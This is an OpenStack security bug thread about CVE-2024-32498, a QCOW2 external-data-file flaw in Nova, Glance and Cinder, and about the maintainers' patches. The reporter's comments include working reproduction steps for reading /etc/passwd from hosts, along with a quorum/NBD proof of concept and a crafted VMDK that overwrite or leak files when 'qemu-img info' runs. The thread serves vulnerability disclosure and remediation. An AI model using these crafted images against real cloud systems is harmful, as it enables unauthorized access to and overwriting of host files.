[OSSA-2024-001] Arbitrary file access through QCOW2 external data file (CVE-2024-32498)

[Martin Kaesberger]

OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

Steps to Reproduce:

- Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
- Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
- Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
- Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

With the non-bootable instance there might be two ways to continue:

Option 1:
- Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
- Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
- The file content starts at guest cluster 0

Option 2: (this is untested because I reproduced it only in a production system)
- Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
- Go to the Dashboard, open the console of the instance and login to the instance.
- Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
- It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

[Jeremy Stanley (fungi)]

My initial impression is that this seems like a fairly similar situation to https://security.openstack.org/ossa/OSSA-2023-002.html in which case we may want to involve the Cinder and Glance security reviewers too, but we'll start with Nova and see where it leads.

[Dan Smith (danms)]

It's also similar to an earlier one specifically referring to qcow files. We currently protect against the backing file of a qcow pointing somewhere, but it looks like this data_file option provides another route to get similar functionality. We will probably need similar mitigations in the same area we currently have them for backing files in nova, glance, and cinder.

[Dan Smith (danms)]

We're also all (I think) now using oslo.utils/imageutils to probe the qcow files. AFAICT, that does not expose the general list of extra options, so we'll need to augment oslo.utils as well.

EDIT: Yeah, it does, under "format-specific"

[Dan Smith (danms)]

Proposed patch to nova to detect and reject qcow2 images with data-file set

[Dan Smith (danms)]

Proposed patch to glance to detect and reject qcow2 images with data-file set

[Dan Smith (danms)]

I subscribed Brian Rosmaita who can evaluate the cinder impact and also review the glance patch.

[Brian Rosmaita (brian-rosmaita)]

Added Eric Harney for cinder.

[Brian Rosmaita (brian-rosmaita)]

Guess I should state explicitly that this also affects cinder, when it converts an image to raw format to write to a volume.

[Sylvain Bauza (sylvain-bauza)]

I agree with the design proposal which is about not accepting an image with a data-file set.
Nova doesn't need to use an external disk for a guest, so we could no longer support it.

I'll look at Dan's patch today.

[Sylvain Bauza (sylvain-bauza)]

Nova's patch proposed by Dan relies on the same mitigation provided in https://security.openstack.org/ossa/OSSA-2023-002.html where we rely on a metadata that was added in osloutils's imageutils.py module by https://github.com/openstack/oslo.utils/commit/2180db82b605cf84902ee379fffc0b34e17e92c7

This sounds to me the correct approach as we can backport it down to the last Maintained releases but any distro can also backport it further down to Ussuri if they want (exactly like OSSA-2023-002)

+1 on nova-2059809.patch but I'll test it on a dev environment.

[Jeremy Stanley (fungi)]

Martin Kaesberger: Did you notify any organizations about this other than reporting the bug to us? I just received a request from a public cloud provider for access to the bug report, which means the private embargo has been broken and we probably need to disclose this by switching to our public workflow immediately rather than continuing to work on it in private.

[Brian Rosmaita (brian-rosmaita)]

Updated cinder patch to include a release note.

[Jeremy Stanley (fungi)]

For now I'm subscribing some technical representatives from OVH (the provider on whose behalf I was contacted), on the assumption they were the only outside organization notified, so that they might assist with reviewing and testing the proposed fixes.

[Martin Kaesberger (mkaesberger)]

Jeremy Stanley: The reference to the production system the report refers to the fact that it was discovered in the OVHcloud. I reported it to them in private first and was referred here.

[Jeremy Stanley (fungi)]

Thanks for confirming. In this case it seems like we should be able to continue working on this in private for now, with added assistance from folks at OVH.

[Brian Rosmaita (brian-rosmaita)]

Dan's glance-2059809.patch LGTM.

[Dan Smith (danms)]

Nova backport for 2024.1

[Dan Smith (danms)]

Nova backport for 2023.2

[Dan Smith (danms)]

Nova backport for 2023.1

[Dan Smith (danms)]

Nova backport for zed

[Dan Smith (danms)]

Glance backport for 2024.1

[Dan Smith (danms)]

Glance backport for 2023.2

[Dan Smith (danms)]

Glance backport for 2023.1

[Dan Smith (danms)]

Glance backport for zed

[Eric Harney (eharney)]

brian-rosmaita's cinder-2059809.patch from comment #16 looks good to me.

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for 2024.1 (Caracal)

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for 2023.2 (Bobcat).

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for 2023.1 (Antelope)

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for Zed.

[Brian Rosmaita (brian-rosmaita)]

Cinder patch for unmaintained/yoga, as a courtesy.

[Brian Rosmaita (brian-rosmaita)]

@arnaud-morin: would you mind deleting your patches so that people don't get confused? Thanks!

[Jeremy Stanley (fungi)]

Martin Kaesberger: If there's any organization you're affiliated with and you'd like it credited along with your name, please let me know.

Here's a draft impact description, a quick review for any inaccuracies is appreciated so I can request a CVE assignment with it...

title: Arbitrary file access through custom QCOW2 external data

description: >
  Martin Kaesberger reported a vulnerability in QCOW2 image processing for
  Cinder, Glance and Nova. By supplying a specially created QCOW2 image which
  references a specific data file path, an authenticated user may convince
  systems to return a copy of that file's contents from the server resulting in
  unauthorized access to potentially sensitive data. All Cinder deployments are
  affected; only Glance deployments with image conversion enabled are affected;
  all Nova deployments are affected.

affected-products:
  - product: Cinder
    version: '<21.3.3, >=22.0.0 <22.1.2, >=23.0.0 <23.1.1, ==24.0.0'
  - product: Glance
    version: '<25.1.1, ==26.0.0, ==27.0.0, >=28.0.0 <28.0.2'
  - product: Nova
    version: '<26.2.3, >=27.0.0 <27.2.1, >=28.0.0 <28.0.2, >=29.0.0 <29.0.2'

[Brian Rosmaita (brian-rosmaita)]

Draft description LGTM, and the version lists check out.

[Jeremy Stanley (fungi)]

I've submitted a CVE request to MITRE using my draft impact description from comment #39, but if any inaccuracies are identified later I will happily send them updated information.

[Tony Breeds (o-tony)]

Draft OSSA looks good to me.

[Martin Kaesberger (mkaesberger)]

Jeremy Stanley: I am not affiliated with anyone.

I am unsure if I just hit a bug in qemu-img or the fix is not be enough. I will try to reproduce this behavior.

[Martin Kaesberger (mkaesberger)]

There is an obscure feature to embed QMP definitions for block devices into disk images. This does work for backing and data files in the QCOW2 format as well for extents in VMDK. So here is a proof of concept that overwrites a local file:

# prepare two files with random content
truncate -s 1M file-1.raw && dd if=/dev/random of=file-1.raw bs=64 count=1 conv=notrunc
truncate -s 1M file-2.raw && dd if=/dev/random of=file-2.raw bs=64 count=1 conv=notrunc
# serve the second file via NBD
qemu-nbd -p 1234 -f raw -x "data" -v -t -T 'nbd*' file-2.raw
# prepare the disk image
./qmp.sh
# ... and overwrite the first 112 bytes in file-1
qemu-img info disk.qcow2

Swap child1 and child2 to exfiltrate data or use the snapshot-access to deliver data to firewalled systems.

[Dan Smith (danms)]

Martin, qemu* is behaving as expected with this external file reference, so it's not a qemu bug. It's an openstack bug to take files with such references from untrusted sources, which is why we've made the changes in the openstack services that are vulnerable.

I'm not sure what you're trying to show with your latest example, other than that qemu behaves as expected.

[Martin Kaesberger (mkaesberger)]

My understanding of the patch is, that something like `qemu-img info --output-json image.qcow2` is invoked and the resulting JSON is checked for a data file. This example shows that even this call can exfiltrate/overwrite files.

[Dan Smith (danms)]

Sorry, I'm not understanding.. you're asserting that your `qemu-img info` command will end up writing data to a backing file? That surely seems like a qemu-img bug if so, but I'm also not sure how that translates to an exfiltration possibility for our use of it either.

[Arnaud Morin (arnaud-morin)]

On my side I did check your script but it fails:

qemu-img: Could not open 'disk.qcow2': qcow2: Compression type incompatible feature bit must not be set

I did try to comment the first line of incompatible_features, but still failing with other reasons

[Arnaud Morin (arnaud-morin)]

I did try here, but it gives me:

qemu-img: Could not open 'disk.qcow2': qcow2: Compression type incompatible feature bit must not be set

can you elaborate more the issue Martin?

[Martin Kaesberger (mkaesberger)]

Actually Qemu behaves as intended and it should be difficult to change the behavior. Access normally looks like this:

qcow2 ───> file

Qemu initializes the Qcow2 driver, which reads and writes from a file. The info command does not initiate a write operation, but only outputs the settings/properties and closes the driver again.
If a data file is used, only the metadata are read from the file and the accesses to guest clusters are passed on to the data file. I have set up the following chain in the proof of concept:

qcow2 ┬─x file
      │ ┌──> raw ──> file
      └──> qcow2 ───> quorum ┤
                             └──> raw ──> nbd

The formatted definition looks like this:
{
    "driver": "qcow2",
    "read-only": false,
    "file": {
        "driver": "quorum",
        "read-only": false,
        "rewrite-corrupted": true,
        "read-pattern": "quorum",
        "vote-threshold": 1,
        "children": [
            {
                "driver": "raw",
                "read-only": false,
                "file": {
                    "filename": "file-1.raw"
                }
            },
            {
                "driver": "raw",
                "file": {
                    "driver": "nbd",
                    "host": "localhost",
                    "port": 1234,
                    "export": "data"
                }
            }
        ]
    }
}

A Qcow2 driver is initialized as the data file, but it does not have a file as its source, but a quorum. This has two important properties: 1) `read-pattern: quorum` ensures that all children must be read and a majority decision must be made on the correct data. 2) `rewrite-corrupted: true` ensures that incorrect data are corrected. Because the Qcow2 driver has to read the header for initialization, both children are read, but they differ due to a lack of knowledge about the content. The quorum therefore initiates a correction of the incorrect data. With two children, this results in the data being transferred from the second to the first. With more children, it should be based on the majority. In the proof of concept, I have used two raw devices, one supported by a file and one with an NBD driver. Depending on the order of the children, data is either written from the NBD device to a file or transferred from the file to the NBD. This happens just because of the initialization of the driver to introspect the image file.

Arnaud Morin: Whoops, I used an extensions to the POSIX standard to generate binary data. `printf "\x04"` doesn't work in dash and the escape sequences end up in multiple locations in the file. Either generate the file in a busybox/ Alpine based container or use bash instead.

It should have succeeded if you see `Image is not in qcow2 format`.

[Martin Kaesberger (mkaesberger)]

I have reported the problem to the qemu-security mailing list, but so far no acknowledgement of receipt. Instead, I received a DMARC report indication that the email was rejected by at least one member.

[Jeremy Stanley (fungi)]

In case it's unclear, the intent of the fixes for OpenStack services is to reject potentially risky QCOW2 image files and avoid ever handing them off to subsystems where they might cause a problem. We don't expect to change qemu's behaviors regarding QCOW2 files, we simply don't want to trigger them.

[Martin Kaesberger (mkaesberger)]

This (separate) issue affects VMDK as well, but is limited by the allowed length. The payload from my poc doesn't fit, but here is a valid VMDK file, that will make qemu-img info to not return, if you `nc -vlp 1234`

```
version=1
CID=ffffffff
parentCID=ffffffff
createType="monolithicFlat"

# Extent description
RW 524288 FLAT "nbd://localhost:1234/xyz" 0

```

And in the future it might affect VHD [1] and VHDX [2] as well, if qemu continues to implement features.

[1] https://gitlab.com/qemu-project/qemu/-/blob/master/block/vpc.c?ref_type=heads#L123
[2] https://gitlab.com/qemu-project/qemu/-/blob/master/block/vhdx.c?ref_type=heads#L775

[Jeremy Stanley (fungi)]

The important question, for us, is whether image files with those parameters get past the patched checks in our software: for example, in cinder.image.image_utils.check_image_format() or nova.virt.images.fetch_to_raw() functions.

[Brian Rosmaita (brian-rosmaita)]

@Martin, thanks for the explanation in comment #50. I have a few questions.

1. About the use of the nbd server in your POC ... is that necessary for this exploit to work, or is it just a convenient way to exfiltrate data in the case where file-1 wins the quorum, and the content of file-1 is written out to the second file via nbd?

2. Related ... could you do this quorum attack with just 2 files, and, e.g., overwrite /etc/shadow with /etc/group or something like that?

3. Do I understand correctly that the rewrite-corrupted happens on the 'qemu-img info' call, that you don't have to actually use the image in some way first?

[Brian Rosmaita (brian-rosmaita)]

@Martin, about the issue you bring up in comment #53:

There are some earlier known 'qemu-img info' system exhaustion attacks, so we run those commands in a context where a timeout and max available memory (I think) are specified, so we should already be protected against this kind of exploit.

[Martin Kaesberger (mkaesberger)]

Jeremy Stanley: On Debian/Ubuntu it is prevented by apparmor because the path is prepended, on Rocky Linux 9 the patch isn't enough. "Apr 10 14:56:04 localhost.localdomain cinder-volume[2918]: ERROR cinder.volume.manager Stderr: "qemu-img: Could not open '/opt/stack/data/cinder/conversion/image_fetch_26c18b43-a3df-4696-a9fc-fb534da7edba_45n7q3wclocalhost.localdomain@lvmdriver-1': Could not open 'file-1.raw': No such file or directory\n"" ~> the graph is evaluated, but I did not create the file.
The VMDK doesn't work and the path is prepended. I have no idea, where this is coming from. Maybe it depends on the flags qemu was compiled with.

Brian Rosmaita:
1. Yes, the NBD server is just for convenience. An eye on the output is faster than reloading the file.
2. You can place any driver as childen of the quorum. [1] The only requirement is, that the file/driver must be writeable, but I wouldn't be suprised if something like blkdebug might work around that.
3. If it's placed in the data file field, this is correct. I have not yet tested this extensively for the backing file in Qcow2 and extents in VMDK

[1] https://qemu-project.gitlab.io/qemu/interop/qemu-qmp-ref.html ~> search for "Drivers that are supported in block device operations."

[Brian Rosmaita (brian-rosmaita)]

Based on what Martin says in comment #57 (responsed to Jeremy), the cinder patch needs more work. From the OpenStack perspective, images in Glance have to be single files. (This can be a single file like an OVA that contains multiple files, which you'd identifiy in glance as having a specific container_format and then you'd also say what format the stuff in the archive is.) For an OVA to "work", the image consumer needs to know how to unpack the container_format and handle its content. I don't know about Nova, but for Cinder, we only do this for OVAs containing VHDs as a leftover artifact of Xen server support, and I think we need to remove this from cinder anyway given that Nova stopped Xen server support a few (maybe many?) cycles ago.

What I'm getting at is that I don't think there's currently a legitimate use case for a qcow2 file with children (as described in comment #50) because there's currently no way to store the children in Glance. So I think we need to deal with this in the same way as the backing file, i.e., if we detect it, reject it. What concerns me were Martin's original comments about 'qemu-img info' triggering the file-corruption-rewrite, but maybe all it does is evaluate the graph to see if everything is in place. (We need verification on that, though.)

[Dan Smith (danms)]

Earlier Martin said:

"The info command does not initiate a write operation"

If that's true then I think we're good to use info to look for and reject any children. If it's not, then either we need to cook up some other way to look at it (my format inspector code in glance may be an option) or get qemu-img fixed.

Based on all the back and forth, I'm not sure if the above statement is actually true, so please, someone clarify.

If it is true, then I don't see that the nova (or glance, as Brian said) stuff needs to change as we'd reject a qcow with data-file set before we do anything else. Brian, you're saying Cinder needs work purely because of a similar VHD-based approach, nothing to do with qcow right?

We could also extend my format inspector work in glance to detect things like data-file/backing-file in qcows and abort the upload mid-stream to avoid even allowing images with a backing file to be ingested into the system in the future.

[Brian Rosmaita (brian-rosmaita)]

@Dan:

"If it is true, then I don't see that the nova (or glance, as Brian said) stuff needs to change as we'd reject a qcow with data-file set before we do anything else. Brian, you're saying Cinder needs work purely because of a similar VHD-based approach, nothing to do with qcow right?"

IIUC, the child files don't show up in either the backing_file or data_file fields, rather, we need to pick them up out of this embedded QMP block devices definition thingy. So conceptually it's the same workflow, but yet another thing to look for. So I don't think the current patches protect against the exploit outlined in comments #44 and #50. But maybe your point is that the current patches are good for the external data_file exploit, and this block device thing needs to be a separate CVE?

[Brian Rosmaita (brian-rosmaita)]

@Dan:

About the OVA/VHD thing ... my point there (poorly made) was that it's possible to have an "image" in glance that is multiple files, but it's stored in glance as a single entity, and it's up to the consumer to unpack it appropriately. There's no way to have a glance image that holds a qcow2, for example, that points to other glance "images" that contain its constituent parts. So we don't need to allow the block device thing at all because there's currently no way to legitimately store one in glance. (At least that's my theory.) If someone wanted to use this kind of thing, they'd have to package all the parts together in an OVA or something and then implement code in nova and cinder to turn the package into a usable image. We have code like this currently in cinder for the way Xen server packaged chains of VHDs, but I'm not aware of anything else like that.

[Dan Smith (danms)]

"IIUC, the child files don't show up in either the backing_file or data_file fields, rather, we need to pick them up out of this embedded QMP block devices definition thingy."

I don't know what this means outside of the guest agent and/or a running qemu. I'm still struggling to understand how any of this has anything to do with a qcow2 file's specification. AFAIK, the use of quorum (or the storage driver at all) only comes into the picture when you're running qemu and setting up the *actual* storage. I must be missing how this gets encoded into an actual top-level qcow2 file. Can someone point to docs on how that happens and/or just show qemu-img commands that results in this multi-hierarchical setup that references a quorum setup?

"So I don't think the current patches protect against the exploit outlined in comments #44 and #50. But maybe your point is that the current patches are good for the external data_file exploit, and this block device thing needs to be a separate CVE?"

I don't understand that what is described in #50 is exploitable. It says very clearly "If a data file is used" and if we're disallowing that in the top-level qcow2 file we pulled from glance and hand to the qemu we run then I'm not sure how you would end up with a running qemu with a quorum-based storage arrangement.

Sorry if I'm being dense and/or distracted with PTG going on this week, but everything related to the block device stuff seems to be predicated on "you could do this with qemu and have something bad happen" but I don't see the _actual_ exploit path. Perhaps we need a higher-bandwidth discussion if I'm just missing something major here.

[Jeremy Stanley (fungi)]

MITRE has now assigned CVE-2024-32498 for tracking this vulnerability.

[Jeremy Stanley (fungi)]

A few hours ago I got looped into a related private discussion between Martin Kaesberger and the QEMU security folks, and the upshot is that we should generally avoid calling `qemu-img info` on any image files without first confirming that it's safe to do so. The QEMU maintainers do not consider that tool/subcommand safe to run on untrusted inputs, and hardening it to make that possible is probably out of scope from their point of view, so relying on it as our first line of defense merely opens us up to additional risks.

Finding another way to check suspect images for the presence of unsafe parameters like backing file and data file references without passing them off to dangerous QEMU driver code is going to be a more robust solution in the long term, at least until such time as QEMU maintainers might develop a separate tool for safely inspecting image files, which we could then consider leveraging instead.

[Dan Smith (danms)]

So glance has a format_inspector module that has almost all of what we need to detect the two conditions we need to avoid safely. My proposal would be to extend that in glance to do what we need, graft the relevant portions of that into nova and cinder in the short term, and then move it to oslo.something in the long-term so it can be used by the other projects from a central location.

Right after this I will attach a patch against glance that updates it to detect the data-file and backing-file conditions with a helper utility function to do that with just a filename. I'll also attach a replacement patch for glance making it use that method instead of the qemu-img-based one for detection prior to ever running qemu-img on a file. If that plan and those patches look good to people, I'll work on the graft for nova, which can be used as a basis for cinder.

[Sylvain Bauza (sylvain-bauza)]

FWIW, I'm all good with the plan that Dan said (calling Glance for checking it). I'll review the nova change once it's here :-)

[Sylvain Bauza (sylvain-bauza)]

My bad, I eventually understood the plan : Nova would test like Glance does this, which is even better than calling Glance :-)

[Dan Smith (danms)]

Nova patch to graft glance's format_inspector module into nova/images/ and use that for backing/data file detection.

[Arnaud Morin (arnaud-morin)]

Maybe a naive question, why not patching oslo.utils directly?
That would benefit for all projects?

https://github.com/openstack/oslo.utils/blob/master/oslo_utils/imageutils.py#L37

[Sylvain Bauza (sylvain-bauza)]

Arnaud, we could add this in oslo.utils for sure, but for backporting the changes, it would be simplier to do this directly on both Nova and Cinder.

[Martin Kaesberger (mkaesberger)]

I took a quick look at the latest patch:

- "# 72 0x48 Incompatible features bitfield (6 bytes)" -> the field is 8 bytes / uint64_t. The code is correct.
- The QcowInspector should check the reserved bits as well. The specs state: "An implementation must fail to open an image if an unknown bit is set."
- The VMDKInspector has an incomplete check. In addition to the header at the beginning, there can be a footer at the end of the file. "The footer takes precedence on the header when it exists. The footer should be the last block of the disk and immediately followed by the end-of-stream marker so that they together occupy the last two sectors of the disk."

[Jeremy Stanley (fungi)]

Arnaud: To get more specific, the long-term goal is to move it into somewhere like oslo.utils, possibly as early as 2024.2/Dalmatian (depending on whether anyone has time), but backporting that adds a lot more complexity and delay between public disclosure and having fixes available to users. In particular, we'd need to backport it to each maintained stable branch of oslo.utils, tag new point releases on each of those branches, update central constraints for all branches, and merge changes to every supported branch of each affected service to consume the new feature. Downstream consumers could directly patch oslo.utils along with patching the services, though that's still more complexity for them than just patching the services.

[Dan Smith (danms)]

> Maybe a naive question, why not patching oslo.utils directly?

Glance does not currently use the oslo.utils stuff. Also, the projects that do still have to do a `qemu-img info` on the file and use the data within, so even if we added the new code into oslo.utils, the projects would have to change to call the extra check. Finally, the more things that have to be patched and released in sequence complicates the process of actually getting the vulnerability plugged. Peer to imageutils.py is exactly where I'd suggest we put it long-term, once we patch this vulnerability.

"The QcowInspector should check the reserved bits as well.

I think we need to be careful not to introduce any false positives either. This is clearly not a full implementation of a QCOW disk driver (and we've seen what happens with those). We're looking for evidence of (un)safety here before we open it with the actual full implementation. If we want to turn this into a more complete "disk inspection" implementation later then that's fine. However, I certainly don't want to introduce additional checks that end up with an operator having to decide between rejecting some valid disks and having the vulnerability plugged.

"The VMDKInspector has an incomplete check. In addition to the header at the beginning"

That may be, but currently the format inspector's support for VMDK only handles grabbing the virtual_size, which is what this stuff was designed to do in the first place. I assume that after this we're going to extend it with safety checks for all the other formats, but I think we should keep the scope of the changes to what we need for the issue at hand. Earlier you seemed to suspect that VMDK could be similarly vulnerable, but didn't have proof, right? I think we specifically need to know if the "info" operation with qemu-img is vulnerable with the other formats before we go down the path of addressing them in the context of this bug report.

[Jeremy Stanley (fungi)]

Martin: I understand the desire to see this coded defensively, but aside from that are you implying there's a currently known risk to relying on `qemu-img info` for checking VMDK files in order to confirm they're monolithic? So far I thought the risks we had discussed for `qemu-img info` use were specific to QCOW2, which is what this bug report and the associated patches address.

[Jeremy Stanley (fungi)]

Also the concern you raised about VMDK extents referring to an NBD device causing `qemu-img info` to run forever are being separately addressed by limiting the execution time for those calls, we're not currently trying to catch those in advance with the separate Python-based inspector, for the sake of simplicity. It could potentially be extended to do that later, but trying to get into complex design work in a private bug report is better avoided if we can add such hardening through normal, public development workflows later once this bug had been disclosed and patched.

[Brian Rosmaita (brian-rosmaita)]

From the cinder point of view, keeping in mind the subject of this particular CVE, I think the current patch that uses 'qemu-img info' to detect the presence of the data file is sufficient.

The issue of using 'qemu-img info' at all is a different CVE, and will take more time to address, perhaps with Dan's format inspector approach, or maybe at the qemu-img level (because it's really hard to believe that the 'info' call can't be used safely).

[Dan Smith (danms)]

Brian, the qemu team has told us that using 'qemu-img info' is very specifically NOT SAFE on images with a data-file. So, we cannot proceed with the earlier patches alone (which is why I've deleted the ones I uploaded earlier). See Jeremy's comment #64 above.

[Dan Smith (danms)]

Updated glance patch to make the check code properly chunk file input.

[Dan Smith (danms)]

Updated nova patch with updated format_inspector.py

[Brian Rosmaita (brian-rosmaita)]

@Dan: Looking at comment #64, the recommendation from the QEMU team is "the upshot is that we should generally avoid calling `qemu-img info` on any image files without first confirming that it's safe to do so. The QEMU maintainers do not consider that tool/subcommand safe to run on untrusted inputs, and hardening it to make that possible is probably out of scope from their point of view, so relying on it as our first line of defense merely opens us up to additional risks."

This doesn't say anything about the data file in particular; I took the second paragraph to be Jeremy's comment about this LP bug.

@Jeremy: can you clarify?

[Jeremy Stanley (fungi)]

Brian: The upshot of the discussion I was included on with the QEMU developers is that `qemu-img info` relies on the same image driver code that QEMU uses to boot those images, so any vulnerability related to use of untrusted images with QEMU potentially extends to running `qemu-img info` on the same images. It sounds like their plan is to simply update documentation to state that running any of the current QEMU tools on untrusted image files is not a use case they support, and that there's to be no expectation that they'll patch those existing tools to make such use cases safe.

Their guidance was that it's in OpenStack's best interest to perform any image safety checks with a separate validation layer before ever passing those images to QEMU tools. The current round of fixes seems like a good opportunity to add that layer, so that any further exploits which are published impacting qemu-img and related software can be mitigated in the same place.

[Brian Rosmaita (brian-rosmaita)]

OK, so this sounds completely insane. We're going to use the format inspector to check qcow2's for the backing_file and data_file exploits, which we know occur upon image conversion, not image info, but continue to use 'qemu-img info' for every other kind of file, including qcow2's that do *not* have backing_file or data_file issues, but very well could have something else?

What I'm trying to say is that if this LP Bug is addressing the qcow2 data_file issue, the format inspector approach seems to be overkill, and if the LP Bug is supposed to address the issue that openstack is using 'qemu-img info' to look at any images at all, then it's not nearly enough. So what exactly are we trying to fix here?

[Jeremy Stanley (fungi)]

Martin reported the vague concerns raised in this bug with the QEMU maintainers (exploiting QMP blobs in QCOW2 and VMDK images to disclose or overwrite files when processed by `qemu-img info` because it relies on QEMU image driver code to perform the image inspection). Their response was to consider this use case out of scope and publish the details in order to warn projects away from running `qemu-img info` or other QEMU tools on untrusted images. At that point I was copied on that discussion, and so asked them for advice on how we should proceed. They indicated to me that they were willing to delay that announcement until we deal with this current vulnerability report, but from what I can tell it's their consensus to take the reported exploits at face value and say "sure that makes sense, don't do it, that's not a use case we support" rather than dig into each claim and verify the extent to which it could be exploited.

What's currently claimed, and hasn't yet been refuted, is that running `qemu-img info` on QCOW2 files can be used to write to arbitrary locations/devices when it attempts to inspect those images, so their recommendation was that we preferably stop the software from accepting images from untrusted sources, or that we analyze the image specifications ourselves and write a tool that can reject risky images because that's not what `qemu-img info` is designed for. The remaining alternatives are that we either hope the described exploits are impractical, or dissect the QEMU source code ourselves and decide for sure that all versions currently in use aren't exploitable in this manner.

[Brian Rosmaita (brian-rosmaita)]

OK, thanks, that gives me some more perspective. The QEMU maintainers agree that it's not safe to run 'qemu-img info' on an untrusted qcow2 with a data_file, which is exactly the topic of this LP bug/CVE, so I'll see what I can do to adapt Dan's nova patch to cinder.

[Dan Smith (danms)]

Updated glance format_inspector patch to create a unified "safety_check" method, as well as a generalized "read this format from file" helper.

[Dan Smith (danms)]

Additional patch for glance's format_inspector to check VMDK safety items. Specifically assert that the descriptor looks sane, does not have any files with slashes listed as extents, and that it doesn't have a sparse/stream footer. Since we process this as a stream, we can't go back in time and read from an earlier part of the stream if the footer instructs us to. So, until someone says it's unreasonable, this just refuses a VMDK file with a footer.

[Dan Smith (danms)]

Updated glance patch to call the generic image safety method on the inspector. Note that glance was also unsafely using qemu-img to probe the file type *and* allowing that to be different from what the user claimed they uploaded without error. So this patch tightens up a lot of that stuff, where we take their claimed disk_format as the source format, require it match what the image claims, and require that we be able to inspect the source image in order to proceed. Glance *also* would allow attempting to convert from a type that qemu-img was unable to read (such as iso, ploop, etc). So this enforces that we only allow conversion from image types that qemu-img supports and that we have an inspector implementation for (the intersection of which doesn't actually change the set of formats we can legitimately convert). It avoids a situation where a user might upload something claiming to be "aki" (which qemu-img can't read) but is actually a malicious vmdk file (for example).

[Dan Smith (danms)]

I have yet to test the above patches in a real situation (unit tests cover 100% of the new code) as I'm fairly burnt at the moment. I need to do that as well as update the nova patch to use the updated module, but I wanted to get the meat up for review.

[Martin Kaesberger (mkaesberger)]

Dan Smith (#75): The virtual size also comes from the footer. https://gitlab.com/qemu-project/qemu/-/blob/76db0ea3bf40cfe5ae1cae3cea05ac9cacbf7c26/block/vmdk.c#L1018

Jeremy Stanley (#76): Debian 12 ships version 7.2 and this version does not exhibit this behavior. Rocky Linux 9 ships version 8.0. If I run qemu-img info directly then it does evaluate the driver graph. But if OpenStack runs the command, the (I guess) working path is prepended and qemu-img doesn't recognize the json protocol. I don't know what triggers this behavior and if there is a condition where this does not happen and becomes exploitable.

[Dan Smith (danms)]

The virtual_size is _in_ the footer, because the footer is just the header format at the end, but I don't see any potential sane situation where the footer could redefine the virtual_size to be a different value, especially for its intended purpose, which is making the format easier for streaming workloads. However, it doesn't really matter since the virtual_size is generally just informative. What does matter is the content of the descriptor region, which I also don't think makes sense to redefine for a streaming scenario, where you can't go back and read the descriptor from a different location in a stream you can't seek. The spec contains no useful language (that I see) that clarifies how to handle the situation. Yes, qemu blindly uses the footer instead of the header (admittedly as the spec says it should), if present.

It's for these reasons that the current version of the patch just rejects an image with a footer. Even if we captured the footer, we'd have to reject the image if the footer contained a different pointer to the descriptor which would have already passed through without our ability to capture and read it.

[Dan Smith (danms)]

Testing with the glance patches show that import rejects all the bad image examples I have and accepts the good ones. So, this is the updated nova patch with the changes to format_inspector incorporated.

I noticed that nova actually probes the image format for the first time _without_ using the disk_format from glance passed to the format argument, which is bad. So, this (unfortunately) introduces a new call to glance to get the image details and, like the glance patch, ensures that the claimed format in the image details matches the file content. I does this by always instantiating a format inspector according to the detailed disk_format and failing if the inspector fails to parse it. Note that this (like the glance change) introduces a requirement that an image be parse-able by the format inspector, which could cause some problems. However, I don't see any way around it if we're going to plug this.

We could add a config knob to either of these patches to allow disabling these new behaviors in case they cause problems. That's rather unfortunate and deserves some discussion, but may be the safest thing to do.

[Sylvain Bauza (sylvain-bauza)]

Dan, I reviewed the nova change eventually and I found no problem (maybe we would need some unit tests for the upstream change, but this is fine for the moment).

About the fact that we don't know the disk_format and then we need to call again Glance for getting it, I see it in the change, but maybe we could try to automatically detect the format, as we already have detect_file_format() ?

If we would then create a new config knob, maybe we could ask whether the operator would prefer to call Glance or testing every format ?

[Dan Smith (danms)]

Sylvain, it's a bug to detect the file format from the code. It's an exploit path to upload something you say is a raw, and us end up passing a qcow to qemu. Everywhere else, we use -f to force the format, and qemu-img won't even let you do certain operations without passing the format *because* it's unsafe to do so. I thought we had converted all our uses to format-explicit, but this one was not, probably because we don't have the glance info available here.

So, no, I don't think it should be optional.

[Sylvain Bauza (sylvain-bauza)]

I see, we need to make sure that the passed format is right, hence why we should call Glance to get the disk format that was said by the user and compare it to the related format_inspector class.

Fine then if we need another Glance API HTTP call when we fetch some raw disk on a specific compute, I prefer this indeed for a security reason.

[Dan Smith (danms)]

After speaking directly to some of the QEMU team members, there is an additional wrinkle/development here. It sounds like they *will* end up providing a patch to qemu-img to prevent the info subcommand from opening external resources purely during that operation. That means that, if so and if successful, the combination of that updated qemu-img binary *plus* the original patches we had to just look for and reject an image with a data-file set in the info blob would be sufficient to close this vulnerability.

That said, they also suggested that OpenStack continue to deeply inspect our images for safety, even to the point of rejecting images with unknown feature flag bits set. Doing so would have prevented the introduction of the data-file feature from becoming an issue for us in the first place, and would provide protection from (or at least detection of) a similar situation in the future.

After speaking with the Nova PTL, the nova plan is going to be to provide two patches. The first will be the same as the original plan, which assumes qemu-img is safe (i.e. patched), and uses it to look for and reject an image with a data-file. The second patch will be as proposed here currently, which runs format_inspector ahead of time to perform the safety check (which will be extended to reject unknown feature flags) to avoid even running qemu-img at all if we find suspicious content.

